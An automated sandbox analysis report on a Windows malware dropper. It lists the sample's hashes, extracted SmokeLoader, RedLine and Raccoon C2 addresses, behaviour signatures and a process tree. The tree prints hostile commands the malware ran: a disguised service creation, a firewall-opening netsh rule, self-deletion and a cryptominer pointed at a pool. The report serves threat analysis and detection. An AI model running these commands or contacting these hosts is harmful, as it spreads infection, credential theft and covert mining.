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Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    30/09/2021, 03:04

General

  • Target

    4625fadd292dd4724204cea78edd13fd.exe

  • Size

    241KB

  • MD5

    4625fadd292dd4724204cea78edd13fd

  • SHA1

    9b9896fb6f66f1914e82ad984d5816403c8b5883

  • SHA256

    d9d7046f7539fd97259759a51b02650790a961ddb0d8f0b9f31c76faf6d63a91

  • SHA512

    ffaff488840a57bd5158b183b166b4c45683b7e8ef408b3d58b59619d8818602f5e7c1f1555c5fcdc7d9cc0c0f7c8aa15c012f8c4147dcfbbd84be84958a6381

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

r

C2

188.72.208.174:38430

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Second BUILD

C2

asyndenera.xyz:15667

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4625fadd292dd4724204cea78edd13fd.exe
    "C:\Users\Admin\AppData\Local\Temp\4625fadd292dd4724204cea78edd13fd.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Users\Admin\AppData\Local\Temp\4625fadd292dd4724204cea78edd13fd.exe
      "C:\Users\Admin\AppData\Local\Temp\4625fadd292dd4724204cea78edd13fd.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1096
  • C:\Users\Admin\AppData\Local\Temp\2F0B.exe
    C:\Users\Admin\AppData\Local\Temp\2F0B.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Users\Admin\AppData\Local\Temp\2F0B.exe
      C:\Users\Admin\AppData\Local\Temp\2F0B.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:968
  • C:\Users\Admin\AppData\Local\Temp\3218.exe
    C:\Users\Admin\AppData\Local\Temp\3218.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Users\Admin\AppData\Local\Temp\3218.exe
      C:\Users\Admin\AppData\Local\Temp\3218.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1664
  • C:\Users\Admin\AppData\Local\Temp\3D8E.exe
    C:\Users\Admin\AppData\Local\Temp\3D8E.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    PID:1476
    • C:\Users\Admin\AppData\Roaming\3D8E.exe
      "C:\Users\Admin\AppData\Roaming\3D8E.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:1320
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:1568
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:592
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\3D8E.exe
            3⤵
              PID:1188
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:1840
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
                PID:1908
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  3⤵
                    PID:1516
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 3D8E.exe
                  2⤵
                    PID:1116
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 0
                      3⤵
                        PID:1656
                  • C:\Users\Admin\AppData\Local\Temp\45A9.exe
                    C:\Users\Admin\AppData\Local\Temp\45A9.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:804
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cxpnwybx\
                      2⤵
                        PID:1688
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qcjdiobj.exe" C:\Windows\SysWOW64\cxpnwybx\
                        2⤵
                          PID:1064
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create cxpnwybx binPath= "C:\Windows\SysWOW64\cxpnwybx\qcjdiobj.exe /d\"C:\Users\Admin\AppData\Local\Temp\45A9.exe\"" type= own start= auto DisplayName= "wifi support"
                          2⤵
                            PID:560
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" description cxpnwybx "wifi internet conection"
                            2⤵
                              PID:1748
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" start cxpnwybx
                              2⤵
                                PID:1648
                              • C:\Windows\SysWOW64\netsh.exe
                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                2⤵
                                  PID:668
                              • C:\Users\Admin\AppData\Local\Temp\4C8D.exe
                                C:\Users\Admin\AppData\Local\Temp\4C8D.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of AdjustPrivilegeToken
                                PID:672
                              • C:\Users\Admin\AppData\Local\Temp\5B0F.exe
                                C:\Users\Admin\AppData\Local\Temp\5B0F.exe
                                1⤵
                                • Executes dropped EXE
                                PID:820
                                • C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe
                                  "C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1716
                                • C:\Users\Admin\AppData\Local\Temp\Money10k_.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Money10k_.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:924
                              • C:\Windows\SysWOW64\cxpnwybx\qcjdiobj.exe
                                C:\Windows\SysWOW64\cxpnwybx\qcjdiobj.exe /d"C:\Users\Admin\AppData\Local\Temp\45A9.exe"
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:1700
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe
                                  2⤵
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Modifies data under HKEY_USERS
                                  PID:804
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1556
                              • C:\Users\Admin\AppData\Local\Temp\6B17.exe
                                C:\Users\Admin\AppData\Local\Temp\6B17.exe
                                1⤵
                                • Executes dropped EXE
                                PID:572

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • memory/572-139-0x0000000000400000-0x00000000008AC000-memory.dmp

                                Filesize

                                4.7MB

                              • memory/572-138-0x00000000002F0000-0x0000000000380000-memory.dmp

                                Filesize

                                576KB

                              • memory/672-102-0x00000000051A0000-0x00000000051A1000-memory.dmp

                                Filesize

                                4KB

                              • memory/672-97-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                Filesize

                                4KB

                              • memory/804-100-0x0000000000020000-0x0000000000033000-memory.dmp

                                Filesize

                                76KB

                              • memory/804-129-0x00000000000D0000-0x00000000000E5000-memory.dmp

                                Filesize

                                84KB

                              • memory/804-101-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                              • memory/820-114-0x0000000001160000-0x0000000001161000-memory.dmp

                                Filesize

                                4KB

                              • memory/924-197-0x00000000003C0000-0x00000000003C1000-memory.dmp

                                Filesize

                                4KB

                              • memory/924-199-0x0000000002F70000-0x0000000002F71000-memory.dmp

                                Filesize

                                4KB

                              • memory/1096-55-0x0000000000400000-0x0000000000409000-memory.dmp

                                Filesize

                                36KB

                              • memory/1096-57-0x0000000075951000-0x0000000075953000-memory.dmp

                                Filesize

                                8KB

                              • memory/1116-54-0x0000000000020000-0x0000000000029000-memory.dmp

                                Filesize

                                36KB

                              • memory/1320-121-0x0000000001330000-0x0000000001331000-memory.dmp

                                Filesize

                                4KB

                              • memory/1320-127-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1320-140-0x0000000000B60000-0x0000000000B8A000-memory.dmp

                                Filesize

                                168KB

                              • memory/1420-58-0x00000000025D0000-0x00000000025E5000-memory.dmp

                                Filesize

                                84KB

                              • memory/1420-89-0x0000000004120000-0x0000000004135000-memory.dmp

                                Filesize

                                84KB

                              • memory/1476-77-0x00000000010F0000-0x00000000010F1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1476-79-0x0000000000450000-0x00000000004A1000-memory.dmp

                                Filesize

                                324KB

                              • memory/1476-80-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1476-81-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1556-187-0x00000000000C0000-0x00000000001B1000-memory.dmp

                                Filesize

                                964KB

                              • memory/1664-87-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/1664-84-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/1664-99-0x00000000006D0000-0x00000000006D1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1700-134-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                              • memory/1716-205-0x0000000002362000-0x0000000002363000-memory.dmp

                                Filesize

                                4KB

                              • memory/1716-204-0x0000000002361000-0x0000000002362000-memory.dmp

                                Filesize

                                4KB

                              • memory/1716-202-0x0000000000230000-0x0000000000260000-memory.dmp

                                Filesize

                                192KB

                              • memory/1716-203-0x0000000000400000-0x000000000045D000-memory.dmp

                                Filesize

                                372KB

                              • memory/1716-207-0x0000000002364000-0x0000000002366000-memory.dmp

                                Filesize

                                8KB

                              • memory/1716-206-0x0000000002363000-0x0000000002364000-memory.dmp

                                Filesize

                                4KB

                              • memory/1716-200-0x00000000003D0000-0x00000000003EF000-memory.dmp

                                Filesize

                                124KB

                              • memory/1716-201-0x0000000000590000-0x00000000005AE000-memory.dmp

                                Filesize

                                120KB

                              • memory/1764-70-0x0000000000D40000-0x0000000000D41000-memory.dmp

                                Filesize

                                4KB

                              • memory/1764-72-0x0000000000440000-0x0000000000441000-memory.dmp

                                Filesize

                                4KB